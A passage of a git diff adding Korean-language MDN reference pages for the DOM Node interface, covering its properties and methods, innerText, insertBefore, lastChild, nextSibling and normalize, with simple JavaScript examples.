+ <dd>The namespace URI of this node, or <code>null</code> if it is no namespace. In Firefox 3.5 and earlier, HTML elements are in no namespace. In later versions, HTML elements are in the <code><a class="linkification-ext external" href="http://www.w3.org/1999/xhtml" title="Linkification: http://www.w3.org/1999/xhtml">http://www.w3.org/1999/xhtml</a></code> namespace in both HTML and XML trees. {{ gecko_minversion_inline("1.9.2") }}<br>
+ Though recent specifications require <code>namespaceURI</code> to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.</dd>
+ <dt>{{domxref("Node.nextSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the next node in the tree, or <code>null</code> if there isn't such node.</dd>
+ <dt>{{domxref("Node.nodeName")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the name of the <code>Node</code>. The structure of the name will differ with the name type. E.g. An {{domxref("HTMLElement")}} will contain the name of the corresponding tag, like <code>'audio'</code> for an {{domxref("HTMLAudioElement")}}, a {{domxref("Text")}} node will have the <code>'#text'</code> string, or a {{domxref("Document")}} node will have the <code>'#document'</code> string.</dd>
+ <dt>{{domxref("Node.nodePrincipal")}} {{Non-standard_inline()}}{{ Fx_minversion_inline("3") }}</dt>
+ <dd>A {{ Interface("nsIPrincipal") }} representing the node principal.</dd>
+ <dt>{{domxref("Node.nodeType")}}{{readonlyInline}}</dt>
+ <dd>Returns an <code>unsigned short</code> representing the type of the node. Possible values are:
+ <table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Name</th>
+ <th scope="col">Value</th>
+ </tr>
+ <tr>
+ <td><code>ELEMENT_NODE</code></td>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <td><code>ATTRIBUTE_NODE</code> {{deprecated_inline()}}</td>
+ <td><code>2</code></td>
+ </tr>
+ <tr>
+ <td><code>TEXT_NODE</code></td>
+ <td><code>3</code></td>
+ </tr>
+ <tr>
+ <td><code>CDATA_SECTION_NODE</code> {{deprecated_inline()}}</td>
+ <td><code>4</code></td>
+ </tr>
+ <tr>
+ <td><code>ENTITY_REFERENCE_NODE</code> {{deprecated_inline()}}</td>
+ <td><code>5</code></td>
+ </tr>
+ <tr>
+ <td><code>ENTITY_NODE</code> {{deprecated_inline()}}</td>
+ <td><code>6</code></td>
+ </tr>
+ <tr>
+ <td><code>PROCESSING_INSTRUCTION_NODE</code></td>
+ <td><code>7</code></td>
+ </tr>
+ <tr>
+ <td><code>COMMENT_NODE</code></td>
+ <td><code>8</code></td>
+ </tr>
+ <tr>
+ <td><code>DOCUMENT_NODE</code></td>
+ <td><code>9</code></td>
+ </tr>
+ <tr>
+ <td><code>DOCUMENT_TYPE_NODE</code></td>
+ <td><code>10</code></td>
+ </tr>
+ <tr>
+ <td><code>DOCUMENT_FRAGMENT_NODE</code></td>
+ <td><code>11</code></td>
+ </tr>
+ <tr>
+ <td><code>NOTATION_NODE</code> {{deprecated_inline()}}</td>
+ <td><code>12</code></td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+ <dt>{{domxref("Node.nodeValue")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the value of an object. For most <code>Node</code> type, this returns <code>null</code> and any set operation is ignored. For nodes of type <code>TEXT_NODE</code> ({{domxref("Text")}} objects), <code>COMMENT_NODE</code> ({{domxref("Comment")}} objects), and <code>PROCESSING_INSTRUCTION_NODE</code> ({{domxref("ProcessingInstruction")}} objects), the value corresponds to the text data contained in the object.</dd>
+ <dt>{{domxref("Node.ownerDocument")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("Document")}} that this node belongs to. If no document is associated with it, returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentNode")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} that is the parent of this node. If there is no such node, like if this node is the top of the tree or if doesn't participate in a tree, this property returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.parentElement")}} {{readonlyInline}}</dt>
+ <dd>Returns an {{domxref("Element")}} that is the parent of this node. If the node has no parent, or if that parent is not an {{domxref("Element")}}, this property returns <code>null</code>.</dd>
+ <dt>{{domxref("Node.prefix")}} {{obsolete_inline}}{{readonlyInline}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the namespace prefix of the node, or <code>null</code> if no prefix is specified.<br>
+ Though recent specifications require <code>prefix</code> to be defined on the {{domxref("Element")}} interface, Gecko-based browsers still implement it on the {{domxref("Node")}} interface.</dd>
+ <dt>{{domxref("Node.previousSibling")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Node")}} representing the previous node in the tree, or <code>null</code> if there isn't such node.</dd>
+ <dt>{{domxref("Node.textContent")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the textual content of an element and all its descendants.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p><em>부모인 {{domxref("EventTarget")}}으로부터 메소드를 상속한다</em>.<sup>[1]</sup></p>
+
+<dl>
+ <dt>{{domxref("Node.appendChild()")}}</dt>
+ <dd>Insert a {{domxref("Node")}} as the last child node of this element.</dd>
+ <dt>{{domxref("Node.cloneNode()")}}</dt>
+ <dd>Clone a {{domxref("Node")}}, and optionally, all of its contents. By default, it clones the content of the node.</dd>
+ <dt>{{domxref("Node.compareDocumentPosition()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.contains()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.getFeature()")}} {{obsolete_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Node.getUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Allows a user to get some {{domxref("DOMUserData")}} from the node.</dd>
+ <dt>{{domxref("Node.hasAttributes()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating if the element has any attributes, or not.</dd>
+ <dt>{{domxref("Node.hasChildNodes()")}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating if the element has any child nodes, or not.</dd>
+ <dt>{{domxref("Node.insertBefore()")}}</dt>
+ <dd>Inserts the first {{domxref("Node")}} given in a parameter immediately before the second, child of this element, {{domxref("Node")}}.</dd>
+ <dt>{{domxref("Node.isDefaultNamespace()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.isEqualNode()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.isSameNode()")}} {{obsolete_inline}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.isSupported()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a <a href="https://developer.mozilla.org/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a> flag containing the result of a test whether the DOM implementation implements a specific feature and this feature is supported by the specific node.</dd>
+ <dt>{{domxref("Node.lookupPrefix()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.lookupNamespaceURI()")}}</dt>
+ <dd></dd>
+ <dt>{{domxref("Node.normalize()")}}</dt>
+ <dd>Clean up all the text nodes under this element (merge adjacent, remove empty).</dd>
+ <dt>{{domxref("Node.removeChild()")}}</dt>
+ <dd>Removes a child node from the current element, which must be a child of the current node.</dd>
+ <dt>{{domxref("Node.replaceChild()")}}</dt>
+ <dd>Replaces one child {{domxref("Node")}} of the current one with the second one given in parameter.</dd>
+ <dt>{{domxref("Node.setUserData()")}} {{obsolete_inline}}</dt>
+ <dd>Allows a user to attach, or remove, {{domxref("DOMUserData")}} to the node.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="모든_자식_노드_탐색">모든 자식 노드 탐색</h3>
+
+<p>The following function recursively cycles all child nodes of a node and executes a callback function upon them (and upon the parent node itself).</p>
+
+<pre class="brush: js">function DOMComb (oParent, oCallback) {
+  if (oParent.hasChildNodes()) {
+    for (var oNode = oParent.firstChild; oNode; oNode = oNode.nextSibling) {
+      DOMComb(oNode, oCallback);
+    }
+  }
+  oCallback.call(oParent);
+}</pre>
+
+<h4 id="Syntax">Syntax</h4>
+
+<pre>DOMComb(parentNode, callbackFunction);</pre>
+
+<h4 id="Description">Description</h4>
+
+<p>Recursively cycle all child nodes of <code>parentNode</code> and <code>parentNode</code> itself and execute the <code>callbackFunction</code> upon them as <a href="/en-US/docs/JavaScript/Reference/Operators/this" title="en-US/docs/JavaScript/Reference/Operators/this"><code>this</code></a> objects.</p>
+
+<h4 id="Parameters">Parameters</h4>
+
+<dl>
+ <dt><code>parentNode</code></dt>
+ <dd>The parent node (<code><strong>Node</strong> <a href="/en-US/docs/JavaScript/Reference/Global_Objects/Object" title="en-US/docs/JavaScript/Reference/Global_Objects/Object">Object</a></code>).</dd>
+ <dt><code>callbackFunction</code></dt>
+ <dd>The callback function (<a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function" title="en-US/docs/JavaScript/Reference/Global_Objects/Function"><code>Function</code></a>).</dd>
+</dl>
+
+<h4 id="Sample_usage">Sample usage</h4>
+
+<p>The following example send to the <code>console.log</code> the text content of the body:</p>
+
+<pre class="brush: js">function printContent () {
+  if (this.nodeValue) { console.log(this.nodeValue); }
+}
+
+onload = function () {
+  DOMComb(document.body, printContent);
+};</pre>
+
+<h3 id="한_노드_안에_중첩된_모든_자식_제거">한 노드 안에 중첩된 모든 자식 제거</h3>
+
+<pre class="brush: js">Element.prototype.removeAll = function () {
+ while (this.firstChild) { this.removeChild(this.firstChild); }
+ return this;
+};</pre>
+
+<h4 id="Sample_usage_2">Sample usage</h4>
+
+<pre class="brush: js">/* ... an alternative to document.body.innerHTML = "" ... */
+document.body.removeAll();</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">주석</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#interface-node', 'Node')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Removed the following properties: <code>attributes</code>, <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+ Removed the following methods: <code>isSupported()</code>, <code>hasAttributes()</code>, <code>isSameNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>The methods <code>insertBefore()</code>, <code>replaceChild()</code>, <code>removeChild()</code>, and <code>appendChild()</code> returns one more kind of error (<code>NOT_SUPPORTED_ERR</code>) if called on a {{domxref("Document")}}.<br>
+ The <code>normalize()</code> method has been modified so that {{domxref("Text")}} node can also be normalized if the proper {{domxref("DOMConfiguration")}} flag is set.<br>
+ Added the following methods: <code>compareDocumentPosition()</code>, <code>isSameNode()</code>, <code>lookupPrefix()</code>, <code>isDefaultNamespace()</code>, <code>lookupNamespaceURI()</code>, <code>isEqualNode()</code>, <code>getFeature()</code>, <code>setUserData()</code>, and <code>getUserData().</code><br>
+ Added the following properties: <code>baseURI</code> and <code>textContent</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core', 'core.html#ID-1950641247', 'Node')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>The <code>ownerDocument</code> property was slightly modified so that {{domxref("DocumentFragment")}} also returns <code>null</code>.<br>
+ Added the following properties: <code>namespaceURI</code>, <code>prefix</code>, and <code>localName</code>.<br>
+ Added the following methods: <code>normalize()</code>, <code>isSupported()</code> and <code>hasAttributes()</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1', 'level-one-core.html#ID-1950641247', 'Node')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Node")}}</p>
diff --git a/files/ko/web/api/node/innertext/index.html b/files/ko/web/api/node/innertext/index.html
new file mode 100644
index 0000000000..414fab5c00
--- /dev/null
+++ b/files/ko/web/api/node/innertext/index.html
@@ -0,0 +1,88 @@
+---
+title: Node.innerText
+slug: Web/API/Node/innerText
+tags:
+ - API
+ - DOM
+ - HTMLElement
+ - Property
+ - Reference
+translation_of: Web/API/HTMLElement/innerText
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><span class="seoSummary">{{domxref("HTMLElement")}} 인터페이스의 <code><strong>innerText</strong></code> 속성은 요소와 그 자손의 렌더링 된 텍스트 콘텐츠를 나타냅니다.</span> <code>innerText</code>는 사용자가 커서를 이용해 요소의 콘텐츠를 선택하고 클립보드에 복사했을 때 얻을 수 있는 텍스트의 근삿값을 제공합니다.</p>
+
+<div class="blockIndicator note">
+<p><strong>참고:</strong> <code>innerText</code>는 {{domxref("Node.textContent")}}와 혼동하기 쉬우나 중요한 차이점을 가지고 있습니다. 기본적으로, <code>innerText</code>는 텍스트의 렌더링 후 모습을 인식할 수 있지만 <code>textContent</code>는 그렇지 않습니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre>const renderedText = <em>htmlElement</em>.innerText
+<em>htmlElement</em>.innerText = <em>string</em>
+</pre>
+
+<h3 id="값">값</h3>
+
+<p>요소의 렌더링 된 텍스트 콘텐츠를 나타내는 {{domxref("DOMString")}}. 요소 자체가 <a href="https://html.spec.whatwg.org/multipage/rendering.html#being-rendered">렌더링 중</a>이 아니라면 {{domxref("Node.textContent")}} 속성의 값과 동일합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음 예제는 <code>innerText</code>와 {{domxref("Node.textContent")}}를 비교합니다. <code>innerText</code>가 {{htmlElement("br")}} 태그를 인식하고, 숨겨진 요소를 무시하는 점에 주목하세요.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;h3&gt;원본 요소:&lt;/h3&gt;
+&lt;p id="source"&gt;
+ &lt;style&gt;#source { color: red; }&lt;/style&gt;
+아래에서&lt;br&gt;이 글을&lt;br&gt;어떻게 인식하는지 살펴보세요.
+ &lt;span style="display:none"&gt;숨겨진 글&lt;/span&gt;
+&lt;/p&gt;
+&lt;h3&gt;textContent 결과:&lt;/h3&gt;
+&lt;textarea id="textContentOutput" rows="6" cols="30" readonly&gt;...&lt;/textarea&gt;
+&lt;h3&gt;innerText 결과:&lt;/h3&gt;
+&lt;textarea id="innerTextOutput" rows="6" cols="30" readonly&gt;...&lt;/textarea&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">const source = document.getElementById('source');
+const textContentOutput = document.getElementById('textContentOutput');
+const innerTextOutput = document.getElementById('innerTextOutput');
+
+textContentOutput.innerHTML = source.textContent;
+innerTextOutput.innerHTML = source.innerText;</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제", 700, 450)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'dom.html#the-innertext-idl-attribute', 'innerText')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Introduced, based on the <a href="https://github.com/rocallahan/innerText-spec">draft of the innerText specification</a>. See <a href="https://github.com/whatwg/html/issues/465">whatwg/html#465</a> and <a href="https://github.com/whatwg/compat/issues/5">whatwg/compat#5</a> for history.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.innerText")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("HTMLElement.outerText")}}</li>
+ <li>{{domxref("Element.innerHTML")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/insertbefore/index.html b/files/ko/web/api/node/insertbefore/index.html
new file mode 100644
index 0000000000..a3a0782745
--- /dev/null
+++ b/files/ko/web/api/node/insertbefore/index.html
@@ -0,0 +1,167 @@
+---
+title: Node.insertBefore()
+slug: Web/API/Node/insertBefore
+translation_of: Web/API/Node/insertBefore
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.insertBefore()</strong></code> 메소드는 참조된 노드 앞에 특정 부모 노드의 자식 노드를 삽입합니다. 만약 주어진 자식 노드가 document에 존재하는 노드를 참조한다면, <code>insertBefore()</code> 가 자식 노드를 현재 위치에서 새로운 위치로 옮깁니다. (노드를 다른 노드에 추가하기 전에 상위 노드에서 제거할 필요가 없습니다)</p>
+
+<p>이것은 노드가 document에 동시에 두 곳에 존재할 수 없다는 것을 의미합니다. 그러므로 노드가 이미 부모를 가지고 있다면, 노드가 제거된 뒤에 새로운 위치에 삽입됩니다. {{domxref("Node.cloneNode()")}} 로 노드를 새로운 부모 아래에 추가하기 전에 복사본을 만들수 있습니다. <code>cloneNode</code> 로 만들어진 복사본들은 자동으로 동기화 상태를 유지하지 않는다는 것을 알아두십시오.</p>
+
+<p>만약 참조 노드가 <code>null</code> 이라면, 노드는 부모 노드의 자식 노드 리스트 맨 끝에 추가됩니다.</p>
+
+<p>만약 자식 노드가 {{domxref("DocumentFragment")}} 이라면, {{domxref("DocumentFragment")}} 의 콘텐츠 전체는 부모 노드의 자식 리스트로 이동됩니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>insertedNode</em> = <em>parentNode</em>.insertBefore(<em>newNode</em>, <em>referenceNode</em>);
+</pre>
+
+<p><code><var>referenceNode</var></code> 가 <code>null</code> 이라면, <code><var>newNode</var></code> 가 자식 노드의 리스트의 끝에 삽입됩니다.</p>
+
+<div class="note">
+<p><em><code>referenceNode</code></em> 는 <strong>선택 인자가 아닙니다.</strong> -- 명시적으로 <code>Node</code> 나 <code>null</code> 를 전달해야 합니다. 전달하지 않거나 잘못된 값을 전달하면 브라우저 버전에 따라 다른 결과를 얻게 됩니다.</p>
+</div>
+
+<h2 id="Returns" name="Returns">Returns</h2>
+
+<p>반환값은 추가된 자식 노드입니다. 다만 <code>newNode</code> 가 {{domxref("DocumentFragment")}} 일 경우, 빈 {{domxref("DocumentFragment")}} 이 반환됩니다.</p>
+
+<h2 id="Example_1" name="Example_1">Example 1</h2>
+
+<pre class="brush: html">&lt;div id="parentElement"&gt;
+  &lt;span id="childElement"&gt;foo bar&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+// Create the new node to insert
+var newNode = document.createElement("span");
+
+// Get a reference to the parent node
+var parentDiv = document.getElementById("childElement").parentNode;
+
+// Begin test case [ 1 ] : Exist a childElement --&gt; All working correctly
+var sp2 = document.getElementById("childElement");
+parentDiv.insertBefore(newNode, sp2);
+// End test case [ 1 ]
+
+// Begin test case [ 2 ] : childElement is of Type undefined
+var sp2 = undefined; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Implicit dynamic cast to type Node
+// End test case [ 2 ]
+
+// Begin test case [ 3 ] : childElement is of Type "undefined" ( string )
+var sp2 = "undefined"; // Not exist a node of id "childElement"
+parentDiv.insertBefore(newNode, sp2); // Generate "Type Error: Invalid Argument"
+// End test case [ 3 ]
+&lt;/script&gt;</pre>
+
+<ul>
+ <li><code>insertedNode</code> The node being inserted, that is <code>newNode</code></li>
+ <li><code>parentNode</code> The parent of the newly inserted node.</li>
+ <li><code>newNode</code> The node to be inserted.</li>
+ <li><code>referenceNode</code> The node before which <code>newNode</code> is inserted.</li>
+</ul>
+
+<h2 id="Example_2" name="Example_2">Example 2</h2>
+
+<pre class="brush:html">&lt;div id="parentElement"&gt;
+ &lt;span id="childElement"&gt;foo bar&lt;/span&gt;
+&lt;/div&gt;
+
+&lt;script&gt;
+// Create a new, plain &lt;span&gt; element
+var sp1 = document.createElement("span");
+
+// Get a reference to the element, before we want to insert the element
+var sp2 = document.getElementById("childElement");
+// Get a reference to the parent element
+var parentDiv = sp2.parentNode;
+
+// Insert the new element into the DOM before sp2
+parentDiv.insertBefore(sp1, sp2);
+&lt;/script&gt;
+</pre>
+
+<p>There is no <code>insertAfter</code> method. It can be emulated by combining the <code>insertBefore</code> method with <code><a href="/en-US/docs/DOM/Node.nextSibling" title="DOM/Node.nextSibling">nextSibling</a></code>.</p>
+
+<p>In the previous example, <code>sp1</code> could be inserted after <code>sp2</code> using:</p>
+
+<pre class="brush: js"><code>parentDiv.insertBefore(sp1, sp2.nextSibling);</code></pre>
+
+<p>If <code>sp2</code> does not have a next sibling, then it must be the last child — <code>sp2.nextSibling</code> returns <code>null</code>, and <code>sp1</code> is inserted at the end of the child node list (immediately after <code>sp2</code>).</p>
+
+<h2 id="Example_3" name="Example_3">Example 3</h2>
+
+<p>Insert an element before the first child element, using the <a href="/en-US/docs/DOM/Node.firstChild" title="Node.firstChild">firstChild</a> property.</p>
+
+<pre class="brush:js">// Get a reference to the element in which we want to insert a new node
+var parentElement = document.getElementById('parentElement');
+// Get a reference to the first child
+var theFirstChild = parentElement.firstChild;
+
+// Create a new element
+var newElement = document.createElement("div");
+
+// Insert the new element before the first child
+parentElement.insertBefore(newElement, theFirstChild);
+</pre>
+
+<p>When the element does not have a first child, then <code>firstChild</code> is <code>null</code>. The element is still appended to the parent, after the last child. Since the parent element did not have a first child, it did not have a last child either. Consequently, the new element is the only element, after insertion.</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Node.insertBefore")}}</p>
+
+<h2 id="Specifications" name="Specifications">Specifications</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG','#dom-node-insertbefore','Node.insertBefore')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>Fixes errors in the insertion algorithm</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM4','#dom-node-insertbefore','Node.insertBefore')}}</td>
+ <td>{{Spec2('DOM4')}}</td>
+ <td>Describes the algorithm in more detail</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM3 Core','core.html#ID-952280727','Node.insertBefore')}}</td>
+ <td>{{Spec2('DOM3 Core')}}</td>
+ <td>No notable changes</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Core','core.html#ID-952280727','Node.insertBefore')}}</td>
+ <td>{{Spec2('DOM2 Core')}}</td>
+ <td>No notable changes</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM1','level-one-core.html#method-insertBefore','Node.insertBefore')}}</td>
+ <td>{{Spec2('DOM1')}}</td>
+ <td>Introduced</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also" name="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Node.removeChild()")}}</li>
+ <li>{{domxref("Node.replaceChild()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.hasChildNodes()")}}</li>
+ <li>{{domxref("Element.insertAdjacentElement()")}}</li>
+ <li>{{domxref("ParentNode.prepend()")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/lastchild/index.html b/files/ko/web/api/node/lastchild/index.html
new file mode 100644
index 0000000000..158ffdab32
--- /dev/null
+++ b/files/ko/web/api/node/lastchild/index.html
@@ -0,0 +1,25 @@
+---
+title: element.lastChild
+slug: Web/API/Node/lastChild
+tags:
+ - DOM
+ - Gecko
+ - Gecko DOM Reference
+translation_of: Web/API/Node/lastChild
+---
+<p>{{ ApiRef() }}</p>
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+<p><b>lastChild</b>는 노드의 마지막 자식을 반환합니다.</p>
+<h3 id=".EA.B5.AC.EB.AC.B8.EA.B3.BC_.EA.B0.92" name=".EA.B5.AC.EB.AC.B8.EA.B3.BC_.EA.B0.92">구문과 값</h3>
+<pre class="eval"><i>last_child</i> = element.lastChild
+</pre>
+<p>반환되는 <code>last_child</code>는 노드입니다. 노드의 부모가 요소이면, 자식은 보통 요소 노드, 텍스트 노드, 주석 노드입니다.</p>
+<h3 id=".EC.98.88" name=".EC.98.88">예</h3>
+<pre>var tr = document.getElementById("row1");
+corner_td = tr.lastChild;
+</pre>
+<h3 id=".EC.A3.BC.EC.9D.98" name=".EC.A3.BC.EC.9D.98">주의</h3>
+<p>자식 요소가 없으면 <code>null</code>을 반환합니다.</p>
+<h3 id=".EB.AA.85.EC.84.B8" name=".EB.AA.85.EC.84.B8">명세</h3>
+<p><a class="external" href="http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/core.html#ID-61AD09FB">lastChild </a></p>
+<p>{{ languages( { "en": "en/DOM/element.lastChild", "fr": "fr/DOM/element.lastChild", "pl": "pl/DOM/element.lastChild" } ) }}</p>
diff --git a/files/ko/web/api/node/nextsibling/index.html b/files/ko/web/api/node/nextsibling/index.html
new file mode 100644
index 0000000000..8627bd096b
--- /dev/null
+++ b/files/ko/web/api/node/nextsibling/index.html
@@ -0,0 +1,83 @@
+---
+title: Node.nextSibling
+slug: Web/API/Node/nextSibling
+tags:
+ - API
+ - DOM
+ - Gecko
+ - Node
+ - Property
+translation_of: Web/API/Node/nextSibling
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+
+<div> </div>
+</div>
+
+<p><span id="result_box" lang="ko"><span>읽기 전용 속성인 <code><strong>Node.nextSibling</strong></code> 은 부모의</span></span> {{domxref("Node.childNodes","childNodes")}} <span lang="ko"><span>목록에서 지정된 노드 바로 다음에 있는 노드를 반환하거나 지정된 노드가 해당 목록의 마지막 노드이면 <code>null</code> 값을 반환합니다.</span></span></p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><var>nextNode</var> = <var>node</var>.nextSibling
+</pre>
+
+<h2 id="Notes" name="Notes">Notes</h2>
+
+<p></p><p>Gecko 기반 브라우저는 소스 마크업에서 공백을 나타내기 위해 문서 내에 텍스트 노드를 삽입합니다.
+ 그러므로 예를 들어 <a href="/ko/docs/Web/API/Node/firstChild" title="트리에서 노드의 첫 번째 자식이나 null(노드가 자식이 없으면)을 반환합니다."><code>Node.firstChild</code></a>나 <a href="/ko/docs/Web/API/Node/previousSibling" title="Node.previousSibling은 읽기전용 속성이며 현재 호출하는 노드가 속해 있는 부모의 childNodes 목록에서 특정 자식 노드를 리턴하거나 childNodes 목록의 첫번째 노드일 경우 Null값을 리턴합니다."><code>Node.previousSibling</code></a>을 통해서 얻은 노드는 작성자가 얻으려 한 실제 요소와는
+ 달리 공백 텍스트 노드를 참조할 지도 모릅니다. </p>
+
+ <p>더 많은 정보는 <a class="new" href="/ko/docs/Whitespace_in_the_DOM" rel="nofollow">Whitespace in the DOM</a>과
+ <a class="external" href="http://www.w3.org/DOM/faq.html#emptytext" rel="noopener">W3C DOM 3 FAQ: Why are some Text nodes empty?</a>를 보세요.</p><p></p>
+
+<div> </div>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:html">&lt;div id="div-01"&gt;Here is div-01&lt;/div&gt;
+&lt;div id="div-02"&gt;Here is div-02&lt;/div&gt;
+
+&lt;script type="text/javascript"&gt;
+var el = document.getElementById('div-01').nextSibling,
+ i = 1;
+
+console.log('Siblings of div-01:');
+
+while (el) {
+ console.log(i + '. ' + el.nodeName);
+ el = el.nextSibling;
+ i++;
+}
+
+&lt;/script&gt;
+
+/**************************************************
+ <span class="short_text" id="result_box" lang="ko"><span>로드될 때 다음과 같이 콘솔에 기록됩니다.</span></span> :
+
+ Siblings of div-01
+
+ 1. #text
+ 2. DIV
+ 3. #text
+ 4. SCRIPT
+
+**************************************************/
+</pre>
+
+<p>위의 예에서 <code>#text</code> 노드는 태그 사이의 마크 업 에서 공백이 발생하는 DOM에 삽입되며 ( 즉 요소의 닫기 태그와 다음 태그의 열기 태그 사이에 있습니다 ) <code>document.write</code> 구문에 의해 삽입 된 요소간에 공백이 생성되지 않습니다.</p>
+
+<p><span id="result_box" lang="ko"><span><code>nextSibling</code> 을 사용하여 DOM을 탐색 할 때, DOM에 텍스트 노드를 포함시킬 수 있어야 합니다.</span> <span>노트 섹션의 리소스를 참조하세요.</span></span></p>
+
+<h2 id="Specification" name="Specification">Specification</h2>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/REC-DOM-Level-1/level-one-core.html#attribute-nextSibling">DOM Level 1 Core: nextSibling</a></li>
+ <li><a href="http://www.w3.org/TR/DOM-Level-2-Core/core.html#ID-6AC54C2F">DOM Level 2 Core: nextSibling</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("Element.nextElementSibling")}}</li>
+</ul>
diff --git a/files/ko/web/api/node/normalize/index.html b/files/ko/web/api/node/normalize/index.html
new file mode 100644
index 0000000000..dca132296c
--- /dev/null
+++ b/files/ko/web/api/node/normalize/index.html
@@ -0,0 +1,56 @@
+---
+title: Node.normalize()
+slug: Web/API/Node/normalize
+tags:
+ - API
+ - DOM
+ - NeedsSpecTable
+ - 노드
+ - 레퍼런스
+ - 메소드
+translation_of: Web/API/Node/normalize
+---
+<div>
+<div>{{APIRef("DOM")}}</div>
+</div>
+
+<p><code><strong>Node.normalize()</strong></code> 메소드는 지정된 노드와 하위 트리의 모든 노드를 "정규화된" 형태로 놓습니다. 정규화된 하위 트리의 텍스트 노드는 비어있지 않으며 인접한 텍스트 노드도 존재하지 않습니다.</p>
+
+<h2 id="Syntax" name="Syntax">문법</h2>
+
